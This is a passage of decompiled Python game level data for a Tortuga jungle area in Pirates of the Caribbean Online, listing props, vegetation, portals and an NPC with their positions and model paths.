'["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller09"]', '1172255348.53kmuller10': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller10"]', '1172255348.53kmuller11': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255348.53kmuller11"]', '1172255411.11kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172255411.11kmuller"]', '1172276608.0mike': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1172276608.0mike"]', '1175223168.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1175223168.0dxschafe0"]', '1175223168.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1175223168.0dxschafe1"]', '1175223424.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1175223424.0dxschafe"]', '1175224704.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1175224704.0dxschafe0"]', '1175224832.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1175224832.0dxschafe"]', '1176167680.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176167680.0dxschafe0"]', '1176167680.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176167680.0dxschafe2"]', '1176167936.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176167936.0dxschafe"]', '1176167936.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176167936.0dxschafe0"]', '1176168064.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168064.0dxschafe"]', '1176168064.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168064.0dxschafe0"]', '1176168192.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168192.0dxschafe"]', '1176168320.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168320.0dxschafe"]', '1176168448.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168448.0dxschafe"]', '1176168448.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168448.0dxschafe0"]', '1176168576.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe1"]', '1176168576.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe2"]', '1176168576.0dxschafe3': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe3"]', '1176168576.0dxschafe4': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe4"]', '1176168576.0dxschafe5': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe5"]', '1176168576.0dxschafe6': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe6"]', '1176168576.0dxschafe7': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168576.0dxschafe7"]', '1176168704.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe"]', '1176168704.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe0"]', '1176168704.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe1"]', '1176168704.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe2"]', '1176168704.0dxschafe3': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe3"]', '1176168704.0dxschafe4': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1176168704.0dxschafe4"]', '1177008640.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe"]', '1177008640.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe"]', '1177008640.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe1"]', '1177008640.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe2"]', '1177008768.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008768.0dxschafe"]', '1177008896.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008896.0dxschafe"]', '1177009024.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177009024.0dxschafe"]', '1177009024.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177009024.0dxschafe0"]', '1177009152.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177009152.0dxschafe"]', '1178681020.97kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1178681020.97kmuller"]', '1178681025.89kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1178681025.89kmuller"]', '1178681031.47kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1178681031.47kmuller"]', '1178681044.38kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1178681044.38kmuller"]', '1178681049.75kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1178681049.75kmuller"]', '1179333564.3Aholdun': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1179333564.3Aholdun"]', '1179333651.86Aholdun': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1179333651.86Aholdun"]', '1179333670.7Aholdun': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1179333670.7Aholdun"]', '1179333814.72Aholdun': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1179333814.72Aholdun"]', '1179336066.55Aholdun': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1179336066.55Aholdun"]', '1187321856.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1187321856.0dxschafe"]', '1188498358.66kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188498358.66kmuller"]', '1188498393.79kmuller': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188498393.79kmuller"]', '1188505728.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe0"]', '1188505728.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe1"]', '1188505728.0dxschafe10': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe10"]', '1188505728.0dxschafe11': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe11"]', '1188505728.0dxschafe12': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe12"]', '1188505728.0dxschafe13': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe13"]', '1188505728.0dxschafe14': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe14"]', '1188505728.0dxschafe15': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe15"]', '1188505728.0dxschafe16': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe16"]', '1188505728.0dxschafe17': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe17"]', '1188505728.0dxschafe18': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe18"]', '1188505728.0dxschafe19': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe19"]', '1188505728.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe2"]', '1188505728.0dxschafe3': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe3"]', '1188505728.0dxschafe4': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe4"]', '1188505728.0dxschafe5': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe5"]', '1188505728.0dxschafe6': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe6"]', '1188505728.0dxschafe7': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe7"]', '1188505728.0dxschafe8': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe8"]', '1188505728.0dxschafe9': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188505728.0dxschafe9"]', '1188510208.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510208.0dxschafe"]', '1188510208.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510208.0dxschafe0"]', '1188510720.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510720.0dxschafe"]', '1188510720.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510720.0dxschafe0"]', '1188510848.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510848.0dxschafe"]', '1188510848.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510848.0dxschafe0"]', '1188510848.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510848.0dxschafe1"]', '1188510848.0dxschafe2': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510848.0dxschafe2"]', '1188510976.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510976.0dxschafe"]', '1188510976.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1188510976.0dxschafe0"]', '1190077312.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190077312.0dxschafe"]', '1190077440.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190077440.0dxschafe"]', '1190077440.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190077440.0dxschafe0"]', '1190077568.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190077568.0dxschafe"]', '1190077568.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190077568.0dxschafe0"]', '1190419072.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190419072.0dxschafe"]', '1190419072.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190419072.0dxschafe0"]', '1190419328.0dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190419328.0dxschafe"]', '1190419328.0dxschafe0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190419328.0dxschafe0"]', '1190419328.0dxschafe1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1190419328.0dxschafe1"]', '1192835404.89dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835404.89dxschafe"]', '1192835419.73dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835419.73dxschafe"]', '1192835481.48dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835481.48dxschafe"]', '1192835485.66dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835485.66dxschafe"]', '1192835623.61dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835623.61dxschafe"]', '1192835627.78dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835627.78dxschafe"]', '1192835672.72dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835672.72dxschafe"]', '1192835677.05dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835677.05dxschafe"]', '1192835815.84dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835815.84dxschafe"]', '1192835843.34dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835843.34dxschafe"]', '1192835960.69dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835960.69dxschafe"]', '1192835969.39dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192835969.39dxschafe"]', '1192836098.34dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836098.34dxschafe"]', '1192836101.48dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836101.48dxschafe"]', '1192836111.98dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836111.98dxschafe"]', '1192836216.88dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836216.88dxschafe"]', '1192836218.73dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836218.73dxschafe"]', '1192836221.22dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836221.22dxschafe"]', '1192836277.2dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836277.2dxschafe"]', '1192836288.8dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836288.8dxschafe"]', '1192836393.19dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836393.19dxschafe"]', '1192836402.67dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836402.67dxschafe"]', '1192836491.28dxschafe': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1192836491.28dxschafe"]', '1219277480.27mtucker': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe"]["Objects"]["1219277480.27mtucker"]', '1219277480.29mtucker': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1177008640.0dxschafe"]["Objects"]["1219277480.29mtucker"]', '1219277480.63mtucker': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1219277480.63mtucker"]', '1219277480.71mtucker': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1219277480.71mtucker"]', '1219277509.79mtucker': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1219277509.79mtucker"]', '1234402201.22caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234402201.22caoconno"]', '1234402227.47caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234402227.47caoconno"]', '1234487665.61caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234487665.61caoconno"]', '1234487684.68caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234487684.68caoconno"]', '1234488243.32caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234488243.32caoconno"]', '1234490040.01caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234490040.01caoconno"]', '1234490058.69caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234490058.69caoconno"]', '1234490083.41caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234490083.41caoconno"]', '1234490231.43caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234490231.43caoconno"]', '1234490267.37caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234490267.37caoconno"]', '1234923901.38caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234923901.38caoconno"]', '1234927037.2caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1234927037.2caoconno"]', '1240280290.34piwanow': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1240280290.34piwanow"]', '1240280337.58piwanow': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1240280337.58piwanow"]', '1240280362.33piwanow': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1240280362.33piwanow"]', '1245869169.58piwanow': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1245869169.58piwanow"]', '1245869277.98piwanow': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1245869277.98piwanow"]', '1248385408.0jloehrle0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1248385408.0jloehrle0"]', '1248385408.0jloehrle1': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1248385408.0jloehrle1"]', '1251250432.02caoconno': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1251250432.02caoconno"]', '1261096000.76laura': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1261096000.76laura"]', '1266424598.48Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]', '1266424598.48Bill0': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]', '1266424598.5Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1266424598.5Bill"]', '1267224626.04Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267224626.04Bill"]', '1267224687.18Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267224687.18Bill"]', '1267224786.48Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267224786.48Bill"]', '1267224890.48Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267224890.48Bill"]', '1267225005.98Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267225005.98Bill"]', '1267225081.56Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1267225081.56Bill"]', '1267225180.0Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267225180.0Bill"]', '1267225299.15Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267225299.15Bill"]', '1267225463.17Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1266424598.48Bill"]["Objects"]["1267225463.17Bill"]', '1267225761.84Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1267225761.84Bill"]', '1267225967.48Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1267225967.48Bill"]', '1267226578.11Bill': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1267226578.11Bill"]', '1276203346.38robrusso': '["Objects"]["1165004570.58sdnaik"]["Objects"]["1276203346.38robrusso"]'}} extraInfo = {'camPos': Point3(412.087, 301.636, 81.0083), 'camHpr': VBase3(-25.3942, -10.5711, 0), 'focalLength': 0.864000022411, 'skyState': 2, 'fog': 0}
# uncompyle6 version 3.2.0 # Python bytecode 2.4 (62061) # Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)] # Embedded file name: pirates.leveleditor.worldData.tortuga_area_jungle_a_1 from pandac.PandaModules import Point3, VBase3, Vec4, Vec3 objectStruct = {'Interact Links': [['1175224832.0dxschafe', '1175224704.0dxschafe0', 'Bi-directional'], ['1176168576.0dxschafe1', '1176168448.0dxschafe0', 'Bi-directional'], ['1176167680.0dxschafe2', '1176168064.0dxschafe0', 'Bi-directional'], ['1175223168.0dxschafe1', '1175223424.0dxschafe', 'Bi-directional'], ['1176167680.0dxschafe0', '1176168192.0dxschafe', 'Bi-directional'], ['1190077440.0dxschafe', '1176168064.0dxschafe', 'Bi-directional']], 'Objects': {'1165004570.58sdnaik': {'Type': 'Island Game Area', 'Name': 'JungleAreaA', 'File': '', 'AdditionalData': ['JungleAreaA'], 'Environment': 'Jungle', 'Footstep Sound': 'Sand', 'Instanced': True, 'Minimap': False, 'Objects': {'1165004689.08sdnaik': {'Type': 'Locator Node', 'Name': 'portal_interior_1', 'Hpr': VBase3(-81.0, 0.0, 0.0), 'Parent Uid': '1165004570.58sdnaik', 'Pos': Point3(36.719, 255.714, 7.06), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1165004689.08sdnaik0': {'Type': 'Locator Node', 'Name': 'portal_interior_2', 'Hpr': VBase3(142.379, 0.0, 0.0), 'Parent Uid': '1165004570.58sdnaik', 'Pos': Point3(837.183, 5.167, 52.393), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1165004689.09sdnaik': {'Type': 'Locator Node', 'Name': 'portal_interior_3', 'Hpr': VBase3(-79.736, 0.0, 0.0), 'Parent Uid': '1165004570.58sdnaik', 'Pos': Point3(380.725, 407.485, 61.219), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1172085867.05kmuller': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(76.186, 0.0, -1.384), 'Objects': {}, 'Pos': Point3(265.487, 282.271, 49.156), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_a'}}, '1172085897.89kmuller': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(70.251, -4.734, -1.599), 'Pos': Point3(230.081, 263.572, 46.158), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/pir_m_prp_cem_headstones_b'}}, '1172085911.05kmuller': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(67.431, 0.0, 0.0), 'Pos': Point3(250.953, 296.876, 47.88), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.800000011920929, 0.800000011920929, 0.800000011920929, 1.0), 'Model': 'models/props/pir_m_prp_cem_headstones_c'}}, '1172085928.49kmuller': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(59.759, 0.0, -5.916), 'Pos': Point3(249.925, 255.922, 47.875), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_d'}}, '1172086078.44kmuller': {'Type': 'Tree', 'DisableCollision': False, 'Hpr': VBase3(0.0, -1.099, 0.0), 'Pos': Point3(635.066, -54.075, 51.336), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/vegetation/fern_tree_a'}}, '1172086167.22kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(0.0, 0.0, 3.318), 'Pos': Point3(649.804, -48.418, 50.866), 'Scale': VBase3(0.961, 0.961, 0.961), 'Visual': {'Color': (0.7900000214576721, 0.7799999713897705, 0.699999988079071, 1.0), 'Model': 'models/vegetation/jungle_fern_a'}}, '1172086806.02kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(587.88, -70.239, 53.618), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172086815.55kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-24.107, 0.0, 0.0), 'Pos': Point3(604.775, -51.829, 52.851), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1172086859.25kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(69.822, -4.722, 0.837), 'Pos': Point3(226.34, 262.048, 45.022), 'Scale': VBase3(0.424, 0.424, 0.424), 'Visual': {'Model': 'models/vegetation/jungle_fern_c'}}, '1172086899.91kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(96.245, -20.164, 14.303), 'Pos': Point3(230.365, 269.299, 46.164), 'Scale': VBase3(0.589, 0.589, 0.589), 'Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0), 'Model': 'models/vegetation/jungle_fern_b'}}, '1172087006.61kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(35.652, 0.0, 0.0), 'Pos': Point3(250.71, 300.183, 47.885), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1172087043.0kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-26.599, -15.257, 0.826), 'Pos': Point3(252.592, 261.016, 48.087), 'Scale': VBase3(0.87, 0.87, 0.87), 'Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0), 'Model': 'models/vegetation/jungle_fern_b'}}, '1172087114.47kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(88.525, 0.0, 0.0), 'Pos': Point3(622.486, -58.285, 51.413), 'Scale': VBase3(0.552, 0.552, 0.552), 'Visual': {'Model': 'models/vegetation/bush_a'}}, '1172087147.13kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(52.492, 0.0, 0.0), 'Pos': Point3(628.97, -53.515, 52.418), 'Scale': VBase3(0.563, 0.563, 0.563), 'Visual': {'Model': 'models/vegetation/bush_a'}}, '1172087304.13kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(18.13, -0.477, 0.0), 'Pos': Point3(216.4, 257.881, 44.981), 'Scale': VBase3(0.636, 0.636, 0.636), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/vegetation/bush_f'}}, '1172087900.05kmuller': {'Type': 'Bush', 'DisableCollision': True, 'Holiday': '', 'Hpr': VBase3(109.366, 0.0, 0.0), 'Pos': Point3(614.045, -53.87, 52.576), 'Scale': VBase3(0.636, 0.636, 0.636), 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/vegetation/bush_f'}}, '1172255348.53kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(45.318, 6.861, 14.173), 'Pos': Point3(383.3, 240.322, 57.447), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller00': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(74.626, 5.135, 6.698), 'Pos': Point3(241.577, 294.377, 47.079), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller02': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-138.594, 11.942, 21.819), 'Pos': Point3(340.149, 233.95, 55.658), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller03': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-139.656, 7.195, -0.834), 'Pos': Point3(787.738, 162.588, 52.078), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller04': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(125.201, 3.733, 3.572), 'Pos': Point3(199.439, 244.165, 41.244), 'Scale': VBase3(0.791, 0.791, 0.791), 'VisSize': '', 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller05': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(25.925, 9.07, 16.82), 'Pos': Point3(821.507, 160.131, 50.945), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller06': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-177.412, 6.676, 18.108), 'Pos': Point3(809.4, 133.212, 51.054), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller08': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(88.273, -0.909, -9.571), 'Pos': Point3(793.012, 187.454, 53.9), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller09': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(114.725, 7.143, 16.62), 'Pos': Point3(267.703, 291.468, 48.765), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller10': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(45.318, 6.861, 14.173), 'Pos': Point3(375.366, 250.105, 56.965), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255348.53kmuller11': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(74.52, 6.208, 14.02), 'Pos': Point3(221.858, 256.433, 44.351), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1172255411.11kmuller': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(-61.789, 29.751, 4.263), 'Pos': Point3(262.035, 271.277, 48.912), 'Scale': VBase3(0.31, 0.31, 0.31), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1172276608.0mike': {'Type': 'Townsperson', 'Category': 'Cast', 'Aggro Radius': '12.0000', 'AnimSet': 'shovel', 'AuraFX': 'None', 'CustomModel': 'None', 'GhostColor': 'None', 'GhostFX': 0, 'Greeting Animation': '', 'HelpID': 'NONE', 'Holiday': '', 'Hpr': VBase3(-87.938, 0.0, 0.0), 'Instanced World': 'None', 'Level': '37', 'Notice Animation 1': '', 'Notice Animation 2': '', 'Patrol Radius': '12.0000', 'Pos': Point3(240.207, 264.516, 47.024), 'PoseAnim': '', 'PoseFrame': '', 'Private Status': 'All', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Requires Quest Interest': False, 'Respawns': True, 'Scale': VBase3(1.0, 1.0, 1.0), 'ShopID': 'PORT_ROYAL_DEFAULTS', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'Villager', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'spawnTimeBegin': 0.0, 'spawnTimeEnd': 0.0}, '1175223168.0dxschafe0': {'Type': 'Tree', 'DisableCollision': False, 'Holiday': '', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(398.56, 228.332, 60.671), 'Scale': VBase3(1.0, 1.0, 1.0), 